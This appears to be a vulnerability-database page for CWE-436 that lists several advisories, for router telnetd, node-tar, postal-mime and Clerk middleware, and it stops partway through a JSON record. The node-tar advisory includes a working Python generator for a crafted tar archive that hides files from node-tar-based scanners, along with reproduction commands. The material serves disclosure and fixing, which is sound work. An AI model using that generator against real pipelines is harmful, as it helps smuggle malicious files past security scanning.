CWE-436
Allowed-with-ReviewInterpretation Conflict
Abstraction: Class · Status: Incomplete
Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state.
378 vulnerabilities reference this CWE, most recent first.
GHSA-VH93-7CH4-7JJR
Vulnerability from github – Published: 2022-03-11 00:02 – Updated: 2022-03-18 00:01A null byte interaction error has been discovered in the code that the telnetd_startup daemon uses to construct a pair of ephemeral passwords that allow a user to spawn a telnet service on the router, and to ensure that the telnet service persists upon reboot. By means of a crafted exchange of UDP packets, an unauthenticated attacker on the local network can leverage this null byte interaction error in such a way as to make those ephemeral passwords predictable (with 1-in-94 odds). Since the attacker must manipulate data processed by the OpenSSL function RSA_public_decrypt(), successful exploitation of this vulnerability depends on the use of an unpadded RSA cipher (CVE-2022-25218).
{
"affected": [],
"aliases": [
"CVE-2022-25219"
],
"database_specific": {
"cwe_ids": [
"CWE-436"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-10T17:47:00Z",
"severity": "HIGH"
},
"details": "A null byte interaction error has been discovered in the code that the telnetd_startup daemon uses to construct a pair of ephemeral passwords that allow a user to spawn a telnet service on the router, and to ensure that the telnet service persists upon reboot. By means of a crafted exchange of UDP packets, an unauthenticated attacker on the local network can leverage this null byte interaction error in such a way as to make those ephemeral passwords predictable (with 1-in-94 odds). Since the attacker must manipulate data processed by the OpenSSL function RSA_public_decrypt(), successful exploitation of this vulnerability depends on the use of an unpadded RSA cipher (CVE-2022-25218).",
"id": "GHSA-vh93-7ch4-7jjr",
"modified": "2022-03-18T00:01:19Z",
"published": "2022-03-11T00:02:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25219"
},
{
"type": "WEB",
"url": "https://www.tenable.com/security/research/tra-2022-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VMF3-W455-68VH
Vulnerability from github – Published: 2026-06-15 17:19 – Updated: 2026-06-15 17:19Summary
tar (node-tar) applies a PAX extended header's size= record (and other PAX
overrides) to the next header entry of any type, including intermediary
metadata headers such as a GNU long-name (L) or long-link (K) entry. Per
POSIX pax, a PAX extended header (x) describes the next file entry, not the
intermediary extension headers that may sit between the x header and the file
it annotates. Because node-tar lets the PAX size override the byte length of
an intervening L/K/x header, an attacker can desynchronize node-tar's
stream cursor relative to every other mainstream tar implementation
(GNU tar, libarchive/bsdtar, Python tarfile, and the now-fixed tar-rs /
astral-tokio-tar).
The result is a tar parser interpretation differential (CWE-436): a single
crafted archive yields a different set of members under node-tar than under the
reference tar tools. An attacker can use this to hide a member from one parser
while it is visible to another, which defeats security tooling whose scanner and
extractor disagree on archive contents (e.g. a malware/secret scanner that lists
entries with one library while a downstream step extracts with another). node-tar
is one of the most widely deployed JavaScript tar libraries (it backs npm's own
package-tarball handling and is a transitive dependency of a very large fraction
of the npm ecosystem), so the blast radius for "files that extract differently
depending on the tool" is broad.
This is the same root cause and fix that was just addressed upstream in the Rust
tar ecosystem (tar-rs / astral-tokio-tar); node-tar carries the equivalent
defect and has no equivalent guard.
Impact
- CWE-436 Interpretation Conflict / inconsistent tar parsing (the same class as the prior tar "smuggling" advisories GHSA-j5gw-2vrg-8fgx and GHSA-fp55-jw48-c537).
- A crafted archive can present one logical member list to a tool that lists or
scans with node-tar and a different member list to GNU tar / libarchive /
Python tarfile (and vice versa). This lets a malicious file be hidden from a
scanner that uses a different parser than the eventual extractor, or hidden
from node-tar-based inspection while still landing on disk via a system
tar. - No authentication is required; the only precondition is that a victim parses an attacker-supplied tar with node-tar. Tar archives are routinely fetched from untrusted sources (package registries, user uploads, CI artifacts, container layers).
- Severity: Medium. Impact is integrity-of-archive-interpretation, not direct RCE; it is a building block for supply-chain / scanner-evasion attacks rather than a standalone code-execution primitive.
Vulnerable code (file:line)
src/header.ts (compiled to dist/esm/header.js:49 and
dist/commonjs/header.js:85 in the published tar@7.5.15):
// Header.decode(buf, off, ex, gex)
this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12)
ex is the currently-accumulated PAX local extended header and gex the
PAX global header. The size override from ex/gex is applied
unconditionally to whatever header is being decoded next — there is no check
that the header being decoded is a real file entry rather than an intermediary
extension header.
src/parse.ts, [CONSUMEHEADER] constructs the next header with the current
EX/GEX applied:
const header = new Header(chunk, position, this[EX], this[GEX])
and later branches on whether that header is a metadata entry. this[EX] is
cleared only in the non-meta (real file) branch:
if (entry.meta) {
// L / K / x / g metadata entries: this[EX] is left intact here
if (entry.size > this.maxMetaEntrySize) {
entry.ignore = true
this[STATE] = 'ignore'
entry.resume()
} else if (entry.size > 0) {
this[META] = ''
entry.on('data', c => (this[META] += c))
this[STATE] = 'meta'
}
} else {
this[EX] = undefined // EX cleared only once a real file entry is reached
}
When the stream is ordered x (PAX, size=N) -> L (GNU long-name) -> file, the
L header is constructed with this[EX] still set, so its size/remain
becomes N instead of the L payload's true length. node-tar then consumes N
bytes of "metadata" and resumes header parsing at the wrong offset, landing
mid-stream. Every other mainstream parser applies the PAX size only to the
following file entry, so they stay synchronized.
The correct behavior (and the fix shipped upstream in the Rust tar ecosystem) is
to not apply PAX size/overrides when the entry being decoded is itself an
extension header (L GNU long-name, K GNU long-link, x PAX local, g PAX
global).
How input reaches the sink
tar.list(), tar.extract()/tar.x(), and tar.Parse/tar.Unpack all route
every 512-byte header block through Header.decode(...) with the
currently-accumulated EX/GEX. Any consumer that parses an attacker-supplied
archive — tar.list, tar.extract, or piping into the streaming Parser —
reaches the sink. No options need to be enabled; the default code path is
affected.
Proof of concept
Archive layout (all standard, GNU-tar-producible blocks):
block 0 : x header (PAX local extended, typeflag 'x'), its own size = len(pax body)
block 1 : x payload : the single PAX record "...size=2048\n"
block 2 : L header (GNU long-name '././@LongLink'), real size = 13
block 3 : L payload : "longname.txt\0" (the long name for the next file)
block 4 : file header 'file_a', size = 16
block 5 : file_a body (16 bytes, zero-padded to 512)
block 6 : file header 'file_b', size = 16
block 7 : file_b body (16 bytes, zero-padded to 512)
Generator (make_tar.py, pure stdlib, no external deps):
def hdr(name, size, typeflag):
h = bytearray(512); name = name[:100]; h[0:len(name)] = name
h[100:108] = b'0000644\0'; h[108:116] = b'0000000\0'; h[116:124] = b'0000000\0'
h[124:136] = ('%011o\0' % size).encode(); h[136:148] = b'00000000000\0'
h[156:157] = typeflag; h[257:263] = b'ustar\0'; h[263:265] = b'00'
h[148:156] = b' ' * 8
cs = sum(h); h[148:156] = ('%06o\0 ' % cs).encode()
return bytes(h)
def pad(d):
return d + b'\0' * ((512 - len(d) % 512) % 512)
def pax_record(key, val): # length-prefixed PAX record "LEN key=val\n"
body = b' %s=%s\n' % (key.encode(), str(val).encode()); n = len(body)
while True:
s = str(n).encode() + body
if len(s) == n: break
n = len(s)
return s
pax = pax_record('size', 2048) # malicious: claim size=2048 for the "next" entry
out = hdr(b'PaxHeaders/x', len(pax), b'x') + pad(pax)
out += hdr(b'././@LongLink', 13, b'L') + pad(b'longname.txt\0')
out += hdr(b'file_a', 16, b'0') + pad(b'AAAA_file_a_body')
out += hdr(b'file_b', 16, b'0') + pad(b'BBBB_file_b_body')
out += b'\0' * 1024
open('pax-desync.tar', 'wb').write(out)
A negative-control archive is identical except the PAX record is
pax_record('comment', 'x') (no size=), written to pax-control.tar.
End-to-end reproduction (against pinned version tar@7.5.15, latest release)
Install the published package into a clean project and parse both archives:
$ npm init -y >/dev/null && npm install tar@7.5.15
$ node -e "console.log(require('tar/package.json').version)"
7.5.15
$ grep -n "ex?.size ?? gex?.size" node_modules/tar/dist/esm/header.js
49: this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12);
e2e.mjs:
import * as tar from 'tar'
async function listEntries(f){
const got=[], warns=[]
await tar.list({ file:f, onReadEntry:e=>{ got.push({path:e.path,size:e.size,type:e.type}); e.resume() },
onwarn:(code,_msg)=>warns.push(code) })
return { got, warns }
}
const mal = await listEntries('pax-desync.tar')
console.log('MALICIOUS entries :', JSON.stringify(mal.got), 'warnings:', JSON.stringify(mal.warns))
const ctl = await listEntries('pax-control.tar')
console.log('CONTROL entries :', JSON.stringify(ctl.got), 'warnings:', JSON.stringify(ctl.warns))
Verbatim output:
=== Deployed-consumer E2E: npm tar@7.5.15 (latest release) ===
[MALICIOUS] archive = x(PAX size=2048) -> L(GNU longname "longname.txt") -> file_a(16B) -> file_b(16B)
tar.list() entries : []
tar.list() warnings: ["TAR_ENTRY_INVALID"]
[NEGATIVE CONTROL] same archive, PAX record is "comment=x" (no size= override)
tar.list() entries : [{"path":"longname.txt","size":16,"type":"File"},{"path":"file_b","size":16,"type":"File"}]
tar.list() warnings: []
Reference parsers on the same pax-desync.tar:
$ tar tvf pax-desync.tar
-rw-r--r-- 0 0 0 2048 Jan 1 1970 longname.txt # GNU tar
$ bsdtar tvf pax-desync.tar
-rw-r--r-- 0 0 0 2048 Jan 1 1970 longname.txt # libarchive
$ python3 -c "import tarfile; print([m.name for m in tarfile.open('pax-desync.tar').getmembers()])"
['longname.txt'] # Python tarfile
Interpretation differential: GNU tar, libarchive (bsdtar), and Python tarfile
all extract the member longname.txt from pax-desync.tar, whereas node-tar
7.5.15 desynchronizes, raises TAR_ENTRY_INVALID (checksum failure from
landing mid-stream), and reports zero members. The negative control proves
the divergence is caused solely by the PAX size= override being applied to the
intermediary L header — when the same archive carries a PAX record without
size=, node-tar parses it identically to the reference tools
(longname.txt, file_b).
Suggested fix
When decoding a header, do not apply PAX size (or other PAX overrides) if the
header being decoded is itself an extension header. Concretely, in
src/parse.ts clear/ignore this[EX] (and this[GEX] for size) when the
header's type is ExtendedHeader, GlobalExtendedHeader, NextFileHasLongPath
(GNU L), or NextFileHasLongLinkpath (GNU K); equivalently, in
Header.decode, gate the ex?.size ?? gex?.size override on the decoded type
not being one of those extension types. This mirrors the upstream Rust fix,
which guards pax_size with
is_gnu_longname || is_gnu_longlink || is_pax_local_extensions || is_pax_global_extensions.
A fix PR is being prepared against a private fork and will be linked here.
Fix PR
To be linked from a private fork of the repository (the fix will not be pushed to any public fork or to upstream during embargo).
Credits
Reported by tonghuaroot.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.5.15"
},
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53655"
],
"database_specific": {
"cwe_ids": [
"CWE-436"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T17:19:42Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\n`tar` (node-tar) applies a PAX extended header\u0027s `size=` record (and other PAX\noverrides) to the **next header entry of any type**, including intermediary\nmetadata headers such as a GNU long-name (`L`) or long-link (`K`) entry. Per\nPOSIX pax, a PAX extended header (`x`) describes the *next file entry*, not the\nintermediary extension headers that may sit between the `x` header and the file\nit annotates. Because node-tar lets the PAX `size` override the byte length of\nan intervening `L`/`K`/`x` header, an attacker can desynchronize node-tar\u0027s\nstream cursor relative to every other mainstream tar implementation\n(GNU tar, libarchive/bsdtar, Python `tarfile`, and the now-fixed `tar-rs` /\n`astral-tokio-tar`).\n\nThe result is a tar parser **interpretation differential** (CWE-436): a single\ncrafted archive yields a different set of members under node-tar than under the\nreference tar tools. An attacker can use this to hide a member from one parser\nwhile it is visible to another, which defeats security tooling whose scanner and\nextractor disagree on archive contents (e.g. a malware/secret scanner that lists\nentries with one library while a downstream step extracts with another). node-tar\nis one of the most widely deployed JavaScript tar libraries (it backs `npm`\u0027s own\npackage-tarball handling and is a transitive dependency of a very large fraction\nof the npm ecosystem), so the blast radius for \"files that extract differently\ndepending on the tool\" is broad.\n\nThis is the same root cause and fix that was just addressed upstream in the Rust\ntar ecosystem (`tar-rs` / `astral-tokio-tar`); node-tar carries the equivalent\ndefect and has no equivalent guard.\n\n### Impact\n\n- CWE-436 Interpretation Conflict / inconsistent tar parsing (the same class as\n the prior tar \"smuggling\" advisories GHSA-j5gw-2vrg-8fgx and\n GHSA-fp55-jw48-c537).\n- A crafted archive can present one logical member list to a tool that lists or\n scans with node-tar and a different member list to GNU tar / libarchive /\n Python tarfile (and vice versa). This lets a malicious file be hidden from a\n scanner that uses a different parser than the eventual extractor, or hidden\n from node-tar-based inspection while still landing on disk via a system `tar`.\n- No authentication is required; the only precondition is that a victim parses\n an attacker-supplied tar with node-tar. Tar archives are routinely fetched\n from untrusted sources (package registries, user uploads, CI artifacts,\n container layers).\n- Severity: Medium. Impact is integrity-of-archive-interpretation, not direct\n RCE; it is a building block for supply-chain / scanner-evasion attacks rather\n than a standalone code-execution primitive.\n\n### Vulnerable code (file:line)\n\n`src/header.ts` (compiled to `dist/esm/header.js:49` and\n`dist/commonjs/header.js:85` in the published `tar@7.5.15`):\n\n```ts\n// Header.decode(buf, off, ex, gex)\nthis.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12)\n```\n\n`ex` is the currently-accumulated PAX **local** extended header and `gex` the\nPAX **global** header. The `size` override from `ex`/`gex` is applied\nunconditionally to whatever header is being decoded next \u2014 there is no check\nthat the header being decoded is a real *file* entry rather than an intermediary\nextension header.\n\n`src/parse.ts`, `[CONSUMEHEADER]` constructs the next header with the current\n`EX`/`GEX` applied:\n\n```ts\nconst header = new Header(chunk, position, this[EX], this[GEX])\n```\n\nand later branches on whether that header is a metadata entry. `this[EX]` is\ncleared only in the non-meta (real file) branch:\n\n```ts\nif (entry.meta) {\n // L / K / x / g metadata entries: this[EX] is left intact here\n if (entry.size \u003e this.maxMetaEntrySize) {\n entry.ignore = true\n this[STATE] = \u0027ignore\u0027\n entry.resume()\n } else if (entry.size \u003e 0) {\n this[META] = \u0027\u0027\n entry.on(\u0027data\u0027, c =\u003e (this[META] += c))\n this[STATE] = \u0027meta\u0027\n }\n} else {\n this[EX] = undefined // EX cleared only once a real file entry is reached\n}\n```\n\nWhen the stream is ordered `x (PAX, size=N) -\u003e L (GNU long-name) -\u003e file`, the\n`L` header is constructed with `this[EX]` still set, so its `size`/`remain`\nbecomes `N` instead of the `L` payload\u0027s true length. node-tar then consumes `N`\nbytes of \"metadata\" and resumes header parsing at the wrong offset, landing\nmid-stream. Every other mainstream parser applies the PAX `size` only to the\nfollowing *file* entry, so they stay synchronized.\n\nThe correct behavior (and the fix shipped upstream in the Rust tar ecosystem) is\nto **not** apply PAX `size`/overrides when the entry being decoded is itself an\nextension header (`L` GNU long-name, `K` GNU long-link, `x` PAX local, `g` PAX\nglobal).\n\n### How input reaches the sink\n\n`tar.list()`, `tar.extract()`/`tar.x()`, and `tar.Parse`/`tar.Unpack` all route\nevery 512-byte header block through `Header.decode(...)` with the\ncurrently-accumulated `EX`/`GEX`. Any consumer that parses an attacker-supplied\narchive \u2014 `tar.list`, `tar.extract`, or piping into the streaming `Parser` \u2014\nreaches the sink. No options need to be enabled; the default code path is\naffected.\n\n### Proof of concept\n\nArchive layout (all standard, GNU-tar-producible blocks):\n\n```\nblock 0 : x header (PAX local extended, typeflag \u0027x\u0027), its own size = len(pax body)\nblock 1 : x payload : the single PAX record \"...size=2048\\n\"\nblock 2 : L header (GNU long-name \u0027././@LongLink\u0027), real size = 13\nblock 3 : L payload : \"longname.txt\\0\" (the long name for the next file)\nblock 4 : file header \u0027file_a\u0027, size = 16\nblock 5 : file_a body (16 bytes, zero-padded to 512)\nblock 6 : file header \u0027file_b\u0027, size = 16\nblock 7 : file_b body (16 bytes, zero-padded to 512)\n```\n\nGenerator (`make_tar.py`, pure stdlib, no external deps):\n\n```python\ndef hdr(name, size, typeflag):\n h = bytearray(512); name = name[:100]; h[0:len(name)] = name\n h[100:108] = b\u00270000644\\0\u0027; h[108:116] = b\u00270000000\\0\u0027; h[116:124] = b\u00270000000\\0\u0027\n h[124:136] = (\u0027%011o\\0\u0027 % size).encode(); h[136:148] = b\u002700000000000\\0\u0027\n h[156:157] = typeflag; h[257:263] = b\u0027ustar\\0\u0027; h[263:265] = b\u002700\u0027\n h[148:156] = b\u0027 \u0027 * 8\n cs = sum(h); h[148:156] = (\u0027%06o\\0 \u0027 % cs).encode()\n return bytes(h)\n\ndef pad(d):\n return d + b\u0027\\0\u0027 * ((512 - len(d) % 512) % 512)\n\ndef pax_record(key, val): # length-prefixed PAX record \"LEN key=val\\n\"\n body = b\u0027 %s=%s\\n\u0027 % (key.encode(), str(val).encode()); n = len(body)\n while True:\n s = str(n).encode() + body\n if len(s) == n: break\n n = len(s)\n return s\n\npax = pax_record(\u0027size\u0027, 2048) # malicious: claim size=2048 for the \"next\" entry\nout = hdr(b\u0027PaxHeaders/x\u0027, len(pax), b\u0027x\u0027) + pad(pax)\nout += hdr(b\u0027././@LongLink\u0027, 13, b\u0027L\u0027) + pad(b\u0027longname.txt\\0\u0027)\nout += hdr(b\u0027file_a\u0027, 16, b\u00270\u0027) + pad(b\u0027AAAA_file_a_body\u0027)\nout += hdr(b\u0027file_b\u0027, 16, b\u00270\u0027) + pad(b\u0027BBBB_file_b_body\u0027)\nout += b\u0027\\0\u0027 * 1024\nopen(\u0027pax-desync.tar\u0027, \u0027wb\u0027).write(out)\n```\n\nA negative-control archive is identical except the PAX record is\n`pax_record(\u0027comment\u0027, \u0027x\u0027)` (no `size=`), written to `pax-control.tar`.\n\n### End-to-end reproduction (against pinned version `tar@7.5.15`, latest release)\n\nInstall the published package into a clean project and parse both archives:\n\n```\n$ npm init -y \u003e/dev/null \u0026\u0026 npm install tar@7.5.15\n$ node -e \"console.log(require(\u0027tar/package.json\u0027).version)\"\n7.5.15\n$ grep -n \"ex?.size ?? gex?.size\" node_modules/tar/dist/esm/header.js\n49: this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12);\n```\n\n`e2e.mjs`:\n\n```js\nimport * as tar from \u0027tar\u0027\nasync function listEntries(f){\n const got=[], warns=[]\n await tar.list({ file:f, onReadEntry:e=\u003e{ got.push({path:e.path,size:e.size,type:e.type}); e.resume() },\n onwarn:(code,_msg)=\u003ewarns.push(code) })\n return { got, warns }\n}\nconst mal = await listEntries(\u0027pax-desync.tar\u0027)\nconsole.log(\u0027MALICIOUS entries :\u0027, JSON.stringify(mal.got), \u0027warnings:\u0027, JSON.stringify(mal.warns))\nconst ctl = await listEntries(\u0027pax-control.tar\u0027)\nconsole.log(\u0027CONTROL entries :\u0027, JSON.stringify(ctl.got), \u0027warnings:\u0027, JSON.stringify(ctl.warns))\n```\n\nVerbatim output:\n\n```\n=== Deployed-consumer E2E: npm tar@7.5.15 (latest release) ===\n\n[MALICIOUS] archive = x(PAX size=2048) -\u003e L(GNU longname \"longname.txt\") -\u003e file_a(16B) -\u003e file_b(16B)\n tar.list() entries : []\n tar.list() warnings: [\"TAR_ENTRY_INVALID\"]\n\n[NEGATIVE CONTROL] same archive, PAX record is \"comment=x\" (no size= override)\n tar.list() entries : [{\"path\":\"longname.txt\",\"size\":16,\"type\":\"File\"},{\"path\":\"file_b\",\"size\":16,\"type\":\"File\"}]\n tar.list() warnings: []\n```\n\nReference parsers on the **same** `pax-desync.tar`:\n\n```\n$ tar tvf pax-desync.tar\n-rw-r--r-- 0 0 0 2048 Jan 1 1970 longname.txt # GNU tar\n\n$ bsdtar tvf pax-desync.tar\n-rw-r--r-- 0 0 0 2048 Jan 1 1970 longname.txt # libarchive\n\n$ python3 -c \"import tarfile; print([m.name for m in tarfile.open(\u0027pax-desync.tar\u0027).getmembers()])\"\n[\u0027longname.txt\u0027] # Python tarfile\n```\n\nInterpretation differential: GNU tar, libarchive (bsdtar), and Python `tarfile`\nall extract the member `longname.txt` from `pax-desync.tar`, whereas node-tar\n`7.5.15` desynchronizes, raises `TAR_ENTRY_INVALID` (checksum failure from\nlanding mid-stream), and reports **zero** members. The negative control proves\nthe divergence is caused solely by the PAX `size=` override being applied to the\nintermediary `L` header \u2014 when the same archive carries a PAX record without\n`size=`, node-tar parses it identically to the reference tools\n(`longname.txt`, `file_b`).\n\n### Suggested fix\n\nWhen decoding a header, do not apply PAX `size` (or other PAX overrides) if the\nheader being decoded is itself an extension header. Concretely, in\n`src/parse.ts` clear/ignore `this[EX]` (and `this[GEX]` for `size`) when the\nheader\u0027s type is `ExtendedHeader`, `GlobalExtendedHeader`, `NextFileHasLongPath`\n(GNU `L`), or `NextFileHasLongLinkpath` (GNU `K`); equivalently, in\n`Header.decode`, gate the `ex?.size ?? gex?.size` override on the decoded type\nnot being one of those extension types. This mirrors the upstream Rust fix,\nwhich guards `pax_size` with\n`is_gnu_longname || is_gnu_longlink || is_pax_local_extensions || is_pax_global_extensions`.\n\nA fix PR is being prepared against a private fork and will be linked here.\n\n### Fix PR\n\nTo be linked from a private fork of the repository (the fix will not be pushed\nto any public fork or to upstream during embargo).\n\n### Credits\n\nReported by tonghuaroot.",
"id": "GHSA-vmf3-w455-68vh",
"modified": "2026-06-15T17:19:42Z",
"published": "2026-06-15T17:19:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-vmf3-w455-68vh"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "node-tar applies PAX size override to intermediary GNU long-name/long-link headers, causing tar parser interpretation differential (file smuggling)"
}
GHSA-VPWW-QPQR-CGCC
Vulnerability from github – Published: 2026-11-10 18:31 – Updated: 2026-11-10 18:31postal-mime before 4.2.1 contains a parser differential vulnerability in its address parser that truncates the domain at folding whitespace or comments preceding a dot. Remote attackers can craft From headers that pass SPF/DKIM/DMARC alignment for their own subdomain while PostalMime.parse() reports a spoofed victim sender address.
{
"affected": [],
"aliases": [
"CVE-2026-125756"
],
"database_specific": {
"cwe_ids": [
"CWE-436"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-11-10T16:17:22Z",
"severity": "HIGH"
},
"details": "postal-mime before 4.2.1 contains a parser differential vulnerability in its address parser that truncates the domain at folding whitespace or comments preceding a dot. Remote attackers can craft From headers that pass SPF/DKIM/DMARC alignment for their own subdomain while PostalMime.parse() reports a spoofed victim sender address.",
"id": "GHSA-vpww-qpqr-cgcc",
"modified": "2026-11-10T18:31:41Z",
"published": "2026-11-10T18:31:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/postalsys/postal-mime/security/advisories/GHSA-jh3p-792r-98gm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-125756"
},
{
"type": "WEB",
"url": "https://github.com/postalsys/postal-mime/commit/646725704463839f233472453b7c8306bd1dde21"
},
{
"type": "WEB",
"url": "https://github.com/postalsys/postal-mime/blob/939a220bd518f54d98a088c315d7227e6215cae3/src/address-parser.ts#L265"
},
{
"type": "WEB",
"url": "https://github.com/postalsys/postal-mime/releases/tag/v4.2.1"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/postal-mime-before-4.2.1-sender-spoofing-via-address-parser-domain-truncation"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-VQX2-FGX2-5WQ9
Vulnerability from github – Published: 2026-04-16 21:28 – Updated: 2026-04-27 16:08Summary
createRouteMatcher in @clerk/nextjs, @clerk/nuxt, and @clerk/astro can be bypassed by certain crafted requests, allowing them to skip middleware gating and reach downstream handlers.
Sessions are not compromised and no existing user can be impersonated - the bypass only affects the middleware-level gating decision.
Who is affected
All apps using createRouteMatcher should upgrade to the patched versions. Patches are drop-in with no API changes. The information below describes the scope of the bypass and helps you understand whether you are potentially affected, but is not a reason to delay the upgrade.
Apps relying only on middleware gating via createRouteMatcher are affected, because a crafted request can skip middleware checks and reach downstream handlers (API routes, server components, etc.). This middleware pattern permits the bypass:
// Next.js example, equivalent patterns exist in Nuxt and Astro
const isProtectedRoute = createRouteMatcher(['/admin(.*)']);
export default clerkMiddleware(async (auth, req) => {
if (isProtectedRoute(req)) {
await auth.protect();
}
});
That said, the bypass is limited to the middleware-level route-matching gate. clerkMiddleware still authenticates the request and auth() reflects the real authentication state of the caller. Auth checks performed inside your route handlers, server components, or server actions continue to work correctly and are not affected. Whether your app is affected in practice depends on whether you have those downstream checks.
External APIs that authenticate each request with a token are also unaffected on those endpoints, since token verification runs independently.
Additionally, this common middleware pattern correctly blocks the bypass at the middleware layer:
// Next.js example, equivalent patterns exist in Nuxt and Astro
const isPublicRoute = createRouteMatcher(['/docs(.*)']);
export default clerkMiddleware(async (auth, req) => {
if (!isPublicRoute(req)) {
await auth.protect();
}
});
@clerk/shared is usually not imported directly in application code, but if you import createPathMatcher from an affected @clerk/shared version, you are also affected. Run npm why @clerk/shared (or your package manager's equivalent) to check your installed version.
Recommended actions
Install the patched version for your framework (pick the one matching your current major):
@clerk/nextjs
- v7.x: fixed in 7.2.1
- v6.x: fixed in 6.39.2
- v5.x: fixed in 5.7.6
@clerk/nuxt
- v2.x: fixed in 2.2.2
- v1.x: fixed in 1.13.28
@clerk/astro
- v3.x: fixed in 3.0.15
- v2.x: fixed in 2.17.10
- v1.x: fixed in 1.5.7
@clerk/shared
- v4.x: fixed in 4.8.1
- v3.x: fixed in 3.47.4
- v2.x: fixed in 2.22.1
Workaround
If you cannot upgrade immediately, adding server-side auth checks (auth()) inside your route handlers, server components, or server actions provides defense-in-depth against this bypass.
Timeline
This issue was reported on 13 APR 2026, patched on 15 APR 2026, and publicly disclosed on 15 APR 2026.
Thanks to Christiaan Swiers for the responsible disclosure of this vulnerability.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@clerk/nextjs"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.7.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@clerk/nuxt"
},
"ranges": [
{
"events": [
{
"introduced": "1.1.0"
},
{
"fixed": "1.13.28"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@clerk/astro"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.1"
},
{
"fixed": "1.5.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@clerk/shared"
},
"ranges": [
{
"events": [
{
"introduced": "2.20.17"
},
{
"fixed": "2.22.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@clerk/nextjs"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0-snapshot.vb87a27f"
},
{
"fixed": "6.39.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@clerk/nextjs"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.2.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@clerk/nuxt"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.2.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.17.9"
},
"package": {
"ecosystem": "npm",
"name": "@clerk/astro"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0-snapshot.v20241206174604"
},
{
"fixed": "2.17.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@clerk/astro"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@clerk/shared"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0-canary.v20250225091530"
},
{
"fixed": "3.47.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@clerk/shared"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.8.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41248"
],
"database_specific": {
"cwe_ids": [
"CWE-436",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T21:28:26Z",
"nvd_published_at": "2026-04-24T21:16:18Z",
"severity": "CRITICAL"
},
